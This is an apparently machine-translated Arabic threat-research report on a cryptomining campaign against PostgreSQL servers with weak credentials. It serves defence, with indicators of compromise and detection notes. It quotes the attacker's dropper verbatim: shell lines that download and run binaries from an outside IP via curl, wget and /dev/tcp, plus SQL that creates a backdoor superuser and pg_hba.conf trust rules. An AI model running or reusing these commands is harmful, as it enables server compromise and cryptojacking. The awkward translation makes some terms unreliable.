حددت Wiz Threat Research شكلاً جديدًا لحملة خبيثة مستمرة تستهدف خوادم PostgreSQL التي تم تكوينها بشكل خاطئ والمكشوفة للعامة. في الهجوم المرصود، كشف ممثل التهديد (الذي تم تتبعه بواسطة Wiz باسم JINX-0126) عن مثيلات PostgreSQL، التي تم تكوينها ببيانات اعتماد تسجيل دخول ضعيفة ويمكن تخمينها، للوصول والنشر XMRig-C3 عمال التشفير. تم توثيق هذه الحملة لأول مرة من قبل شركة Aqua Security، لكن جهة التهديد تطورت منذ ذلك الحين، حيث نفذت تقنيات التهرب الدفاعي مثل نشر الثنائيات مع تجزئة فريدة لكل هدف وتنفيذ حمولة التعدين بدون ملفات – من المحتمل أن تتجنب الكشف بواسطة حلول CWPP التي تعتمد فقط على سمعة تجزئة الملف.
بناءً على تحليلنا، يقوم جهة التهديد بتعيين عامل تعدين فريد لكل ضحية. خلال بحثنا، حددنا ثلاث محافظ مختلفة مرتبطة بممثل التهديد (انظر قسم IOC أدناه). ومن خلال تحليل إحصائيات C3Pool لكل محفظة، يمكننا أن نستنتج أن هذه الحملة أثرت على الأرجح على أكثر من 1500 ضحية. ويشير هذا إلى أن مثيلات PostgreSQL التي تم تكوينها بشكل خاطئ شائعة للغاية، مما يوفر نقطة دخول منخفضة معلقة يمكن للجهات الفاعلة التهديدية الانتهازية استغلالها. علاوة على ذلك، تظهر بياناتنا أن ما يقرب من 90% من البيئات السحابية تستضيف ذاتيًا مثيلات PostgreSQL، وثلثها يحتوي على مثيل واحد على الأقل مكشوف علنًا على الإنترنت.
لقد حددنا هذا النشاط الذي يستهدف البيئات السحابية لعملائنا بالإضافة إلى بيئة مصيدة الجذب الخاصة بنا. في التحليل التالي، سنقدم معلومات فنية حول العينة التي تم الحصول عليها من مصيدة الجذب الخاصة بنا.
تقوم الجهات الفاعلة في مجال التهديد بفحص الشبكة بشكل نشط بحثًا عن الخدمات ذات التكوين الضعيف [T1110.003]، مع كون PostgreSQL هدفًا متكررًا بسبب استخدام بيانات الاعتماد الافتراضية الضعيفة التي تعرضه للوصول غير المصرح به الذي يمكن أن يؤدي إلى تنفيذ التعليمات البرمجية عن بعد [T1190]. بمجرد المصادقة، فإنهم يسيئون استخدام COPY ... FROM PROGRAM وظيفة، مما يسمح لهم بإسقاط وتشغيل الحمولات الضارة [T1059.004].
عند تسجيل الدخول بنجاح، يقوم ممثل التهديد بإجراء الاكتشاف الأساسي باستخدام أوامر مثل whoami و uname [T1082] ويتحقق مما إذا pg_core موجود على عبء العمل. بعد ذلك، يقوم ممثل التهديد بتشغيل البرنامج النصي الأول بالقطارة [T1071.001] [T1105]، يتم تسليمها عبر سلسلة أساسية 64 تم فك تشفيرها:
kill -9 $(pgrep zsvc) $(pgrep pdefenderd) $(pgrep updatecheckerd) $(pgrep kinsing) $(pgrep kdevtmpfsi);
function __curl()
read proto server path <<<$(echo $1//// )
DOC=/$path// //
HOST=$server//:*
PORT=$server//*:
[[ x"$HOST" == x"$PORT" ]] && PORT=80
exec 3<>/dev/tcp/$HOST/$PORT
echo -en "GET $DOC HTTP/1.0\\r\\nHost: $HOST\\r\\n\\r\\n" >&3
(while read line; do
[[ "$line" == $'\\r' ]] && break
done && cat) <&3
exec 3>&-
if [ -x "$(command -v curl)" ]; then
curl -ksS 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv -o pg_core
elif [ -x "$(command -v wget)" ]; then
wget -q -Opg_core 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv
else
__curl <http://159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv> > pg_core ;
fi;
يقتل البرنامج النصي أولاً عمال التشفير الآخرين إذا كانوا موجودين على المورد ويسقط الملف الثنائي pg_core. بعد ذلك، يتم تنفيذ pg_core على المورد وحذفه [T1070.004].
يقوم المهاجم بتنزيل ملف ثنائي اسمه postmaster، كمحاولة لتقليد الملف الشرعي مدير مكتب البريد العملية، وهي خادم قاعدة بيانات PostgreSQL متعدد المستخدمين [T1036.005].
echo 'exec 5<>/dev/tcp/159.223.123.175/36287; echo "GET /HbLzilWbYDNEpWUdlDdjfdiYTChuDj HTTP/1.1" >&5; echo "host: 159.223.123.175" >&5; echo >&5; (while read line;do [[ "$line" == $(printf "\\015") ]] && break; done && cat) <&5 > postmaster; exec 5>&-' | bash
postmaster هو ثنائي جولانج مبهم، ومعبأ بـ UPX المعدل [T1027.002]. ينفذ ممثل التهديد أمرًا لإلحاق تكوين مشفر بالملف الثنائي postmaster [T1027.001].
sh -c "printf ::::42Jz0wVPBAsW329::::VXssAL7FE0j5QG4T7cLgmn/VTADoqlvAlDqUiueQYJXy+P5Ysz9YvLS6yML0euUNaHAhwWeXD2/Q51sjeYVQ4vc3UQHvfC8rFujLeIE3vT9uPdPSnjZwRH8X1xvEXqeQPHKL1Vv9PaWu6lrzdtDQECt0LTcz15zWHmAHAUhH4fsM/QrZHZfuJB9zX0W5eS+IrRV2Li6aPfqfYkP/D371mPtKCq9i5l9tn2VWlsDcGesOdh2zS+iD5GrvrwXWhTDvgH2xpvL5Am1DDnKU/ftll3+s0/NFBJMRZ807VHu3h8qidkU8N1z4Wqz4XO03uZ1aUZtsY+GbeC57EvSWYkcLnnvQqPT4qBCipQjYI+ogtzcBlSmFc7eP/a8odDaN3HvC >> postmaster 2>&1 || exit 0"
يتم تشفير هذا التكوين باستخدام مفتاح AES مضمن:
7C6643CC24859542CE37615341E7712E82B4167528688877FE7C14648909DCD5.
التكوين فك التشفير:
"ol":"admin","op":"admin","l":"psql_sys","i":"<IP>","or":5432,"x":"UYXslx38aXJsCd-27kCDig==","lle":"4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5","w":10,"h":"/var/lib/postgresql/data/pg_hba.conf"
يحتوي التكوين على معلومات حول النظام المخترق، مثل:
-
اسم المستخدم وكلمة المرور التي تم استخدامها.
-
عنوان IP الخارجي ومنفذ الخادم المصاب.
-
اسم حساب المستخدم المتميز الذي تم إنشاؤه.
-
مكان الملف
pg_hb.conf.
بالإضافة إلى ذلك، يتضمن التكوين العديد من الحقول المتعلقة بعامل التشفير الذي سيتم نشره لاحقًا، بما في ذلك عنوان محفظة المهاجم واسم العامل.
عند التنفيذ، postmaster يحل موقعه على القرص ويقرأ آخر 1024 بايت من الملف الثنائي، الذي يحمل التكوين الذي تمت إضافته إلى الملف الثنائي. إذا لم يكن المقطع الدعائي موجودًا أو كان غير صالح، فسيخرج مدير مكتب البريد مع وجود خطأ.
ال postmaster سوف يقوم البرنامج الثنائي بتنفيذ نفسه باستخدام سطر الأوامر pоstgres: مشغل النسخ المتماثل كمحاولة للدمج داخل الخدمة، حيث يتم تنفيذ أحد سلاسل عمليات PostrgreSQL باستخدام الأمر postgres: مشغل النسخ المتماثل المنطقي. لضمان المثابرة، سيقوم مدير مكتب البريد بإنشاء وظيفة cronjob (T1053.003) لتشغيل نفسه كل دقيقة. يقوم بحذف الملف ssh_authorized مفاتيح يكتب أيضا إلى pg_hba ملف التكوين، لمنع الآخرين من تسجيل الدخول إلى خادم قاعدة البيانات والسماح بالاتصال من الشبكة الداخلية.
host all pgg_superadmins all reject
host all postgres_superadmins all reject
host all all 127.0.0.1/8 trust
host all all 172.16.0.0/12 trust
host all all 192.168.0.0/16 trust
host all all 10.0.0.0/8 trust
يقوم ممثل التهديد بإنشاء دور جديد يتمتع بامتيازات عالية للاستمرارية [T1136]. يتيح ذلك للمهاجم تسجيل الدخول لاحقًا إلى النظام حتى لو تم تغيير كلمة المرور.
CREATE ROLE psql_sys WITH LOGIN SUPERUSER PASSWORD '759686ac19adbd08b94cf53f35afdd1e';
ويحاول المهاجم أيضًا إضعاف مسؤول المستخدم، وهو المستخدم الافتراضي للخدمة [T1098]:
ALTER USER "admin" WITH NOSUPERUSER NOCREATEROLE
postmaster يكتب cpu_hu ثنائي إلى القرص. على غرار مدير مكتب البريد، cpu_hu عبارة عن ثنائي Golang غامض ومعبأ بـ UPX المعدل. يتم تضمين معلومات تكوين عامل التعدين التي تم فك تشفيرها باستخدام Base64 في نهاية الملف cpu_hu ثنائي:
:::9XLOMQh7RZ3Tf1Xo8:::::eyJsbCI6NCwibGxlIjoiNEE1WldwSE02QlhTOFlGN3hOZmpYQTVjdERqVEMzR0J3UzRFU0JWOVgyQkdWSlY4dmtmWEJlWmZYRzZ3MmhtZGtwWmFvZ0NYaXFVNERZUFhuM1R0UFJBR0pCTFE3TjUiLCJ4IjoiVVlYc2x4MzhhWEpzQ2QtMjdrQ0RpZz09IiwiZmciOiIuLi4ifQ==
التكوين فك التشفير:
“lle” هي المحفظة، و”x” هو معرف العامل و”fg” هو اسم ملف تكوين json الذي تم إنشاؤه ضمن /tmp (/tmp/...) [T1564.001].
يقوم cpu_hu بتنزيل أحدث إصدار من https://github.com/C3Pool/xmrig-C3/، يكتب ملف التكوين إلى /tmp/… ويستدعي عامل التعدين [T1496] بدون ملف عبر واصف ملف memfd [T1620]. cpu_hu يستنسخ نفسه لإنشاء عملية فرعية ويحذف نفسه من القرص [T1070.004].
نظرًا لأن المهاجم يُلحق بيانات تكوين فريدة لعينات البرامج الضارة، فإن تجزئة الملف cpu_hu ومدير مكتب البريد يختلف بين الضحايا.
الضحايا في البرية:
في تحليلنا، قمنا بجمع ثلاث محافظ مختلفة. عندما تبحث في إحصائيات C3Poolلاحظنا أن كل محفظة تضم ما يقرب من 550 عاملاً. يشير هذا مجتمعة إلى أن الحملة كان من الممكن أن تستفيد من أكثر من 1500 جهاز مخترق.
وقاية:
يكتشف Wiz Dynamic Scanner خدمات PostgreSQL المكشوفة للعامة والتي تم تكوينها ببيانات اعتماد ضعيفة أو افتراضية داخل البيئات السحابية للعملاء. يكتشف ماسح عبء العمل بدون وكيل Wiz الحاويات وأجهزة VM التي تستضيف PostgreSQL ويحدد ما إذا كانت تحتوي على بيانات حساسة أو لديها إمكانية الوصول إلى حسابات الخدمة ذات الامتيازات العالية (والتي يمكن إساءة استخدامها بسهولة من قبل المهاجمين الانتهازيين لأغراض أخرى غير التعدين الخفي).
كشف:
ال الحذق وقت التشغيل الاستشعار يكتشف الأحداث والسلوكيات المرتبطة بهذا التهديد والتهديدات المشابهة، وينبهك مع تقدم الخصم عبر سلسلة قتل الهجوم: بدءًا من الاستغلال وحتى تسليم الحمولة الأولية وفي النهاية إلى نشاط تعدين العملات المشفرة النهائي بدون ملفات.
فيما يلي مثال على اكتشاف Wiz Runtime Sensor للتنفيذ بدون ملفات للمعدن المستخدم في هذا التهديد:
يمكن لعملاء Wiz استخدام الاستعلامات المعدة مسبقًا و استشاري في مركز التهديد ويز للبحث عن الحالات الضعيفة في بيئتهم واكتشاف ما إذا كانت بيئتهم قد تأثرت بهذا التهديد.
محافظ:
4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5
47pt9WzQyugFQpSAwcGN2k8JHiMQ3fRZ3BQqmnYJtcejVq9adfiwVSWgrpmxiYTxvvWcHv5dD2iCaiBYiK4atkMSUGMXdx8
463TBt8Rn1qXWZDpTV4ydxQcZnkJNeLv6JRKjFbzFsY3MQZaxWsUgQF4QnxNAg8MGSPsiLn9faTWqRafHnhh3QBdSLTgRHA
خدمة استضافة الملفات:
159.223.123.175:36287
حمام سباحة:
mine.c3pool.com:13333
تجزئات الملف (SHA1):
عامل منجم XMRig-C3: 0b907eee9a85d39f8f0d7c503cc1f84a71c4de10
pg_core: 85198288e2ff1dad718cd84876a0b0d3173a641e
مدير مكتب البريد قبل إضافة المقطورة: 7ccfcacfa2a729494dece843e9c4d357f2eec780
الملفات الموجودة على القرص:
تقنيات MITRE ATT&CK® المستخدمة بواسطة CPU_HU:
القيادة والتحكم – بروتوكول طبقة التطبيق: بروتوكولات الويب (T1071.001)
القيادة والتحكم – نقل أداة الدخول (T1105)
الوصول إلى بيانات الاعتماد – القوة الغاشمة: رش كلمة المرور (T1110.003)
التهرب من الدفاع – إخفاء العناصر: الملفات والأدلة المخفية (T1564.001)
التهرب من الدفاع – إزالة المؤشر: حذف الملف (T1070.004)
التهرب من الدفاع – التنكر: مطابقة الاسم الشرعي أو الموقع (T1036.005)
التهرب من الدفاع – الملفات أو المعلومات المبهمة: الحشو الثنائي (T1027.001)
التهرب من الدفاع – الملفات أو المعلومات المبهمة: تعبئة البرامج (T1027.002)
التهرب من الدفاع – تحميل التعليمات البرمجية الانعكاسية (T1620)
التنفيذ – مترجم الأوامر والبرمجة النصية: Unix Shell (T1059.004)
الوصول الأولي – استغلال التطبيق الذي يواجه الجمهور (T1190)
المثابرة – التلاعب بالحساب (T1098)
المثابرة – إنشاء حساب (T1136)
المثابرة – المهمة/المهمة المجدولة: Cron (T1053.003)
التأثير – اختطاف الموارد (T1496)
الاكتشاف – اكتشاف معلومات النظام (T1082)
